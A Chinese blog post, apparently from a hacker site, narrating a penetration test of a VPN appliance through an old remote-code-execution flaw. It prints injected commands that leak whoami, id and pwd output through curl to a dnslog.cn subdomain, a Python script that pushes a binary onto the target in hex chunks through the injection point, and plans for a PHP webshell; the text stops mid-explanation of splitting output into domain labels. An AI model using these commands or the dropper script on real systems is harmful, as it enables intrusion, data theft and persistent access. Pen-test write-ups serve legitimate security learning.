【重磅!】一次平平无奇的渗透测试

作者: 黑客网 分类: 黑客知识 发布时间: 2022-05-27 15:17
《一次平平无奇的渗透测试》

接了个项目,给了资产列表,刚开始就只挖了几个小洞,正当自暴自弃、随缘挖洞的时候,点开了一个网站,眼角的余光瞥见被跳转的页面,这惊鸿一瞥,使我顿时来了精神,赶紧 drop 掉跳转页面,一窥真容。

一次平平无奇的渗透测试

嘿!这不是 xxx VPN 嘛,搁这遇见了,之前都没搞过呢,赶紧试一试旧版的 RCE 漏洞。

一次平平无奇的渗透测试

嘿嘿!没想到竟然是旧版的,起飞。

一次平平无奇的渗透测试


带外数据

激动地敲下了反弹 shell 的命令,等了许久,竟不见一个 shell 回来,眉头一皱,发现事情并没有那么简单。

换了个服务器,还是没有收到 shell,不死心,试了试监听 53、80、443 端口等回连,还是没有收到 T^T 看来 TCP/HTTP 被阻断了。

罢了罢了,前面不是还有 DNS 出来么,用 DNS 一样,先看看 whoami 的结果:

-h|curl `whoami`.Smuxdz.dnslog.cn

奇怪的事情发生了,执行 whoami 没有结果。

一次平平无奇的渗透测试

执行 id:

-h|curl `id -un`.Smuxdz.dnslog.cn

一次平平无奇的渗透测试

nobody 权限,权限很小,先解决命令回显的问题,数据外带太麻烦了。

由于目标环境是存在 php 的,所以打算写个一句话木马,先查看下当前所在的目录:

-h|curl `pwd|od -A n -t x1|sed 's/ //g'`.Smuxdz.dnslog.cn

一次平平无奇的渗透测试

当前在根目录 / 找不到 Web 路径,webshell 不知道写到哪里,这个先搁置一边,先去尝试写入 dns 马:

import requestsimport binasciiwith open('123','rb') as f:    data = f.read()size = len(data)S = 2000for i in range((size // S) + 1):    if (i+1)*S > size:        d = data[i*S:]    else:        d = data[i*S:(i+1)*S]    d = binascii.b2a_hex(d)    d = d.decode("utf-8", "ignore")    cmd = f"echo '{d}' | xxd -r -p >>/tmp/1"    r = requests.get("http:///website/path?url=" + cmd)

脚本那么一跑,网站直接 500,震惊!换了几个 ip 试了试,一样的情况还是 500,好像触发了什么防御机制。

一次平平无奇的渗透测试

溜了溜了,看其他的站去。

第二天,打开网站,恢复正常了,松了口气,又可以愉快地渗透了。

既然这 dns 马写不进去,虽然不知道为啥写不进去,索性不管了,不然等下又给我来个 500 浪费时间,那就老老实实去找 Web 路径吧。

这就又引出另一个问题,域名有字符的限制,且存在长度限制,每一级域名长度最长可为 63 个字节。

字符的限制简单,脑海里第一反应就是 base64 或者 hex,base64 可能会存在其他的字符 + / =,需要给这三个字符做个标记作为区别,有点麻烦,暂时没有什么很好的想法,想了想,其实可以用 base32,这样就只有 = 一个要标记的字符了,试了试,目标服务器没有 base32,只能放弃。

所以还是用 hex 好了,虽然长了一点。

长度限制呢,当时想到 curl 是可以跟数组的,每个都会进行请求,所以构造个数组就好了。

一次平平无奇的渗透测试

经过测试发现 urls 以空格或者换行分开也是可以的。

一次平平无奇的渗透测试

这样就简单了,od 命令可以设置输出每行显示的字节数,缺省为 32 字节。

如果觉得《一次平平无奇的渗透测试》您有用,请随意打赏。您的支持将鼓励我继续创作!

标签云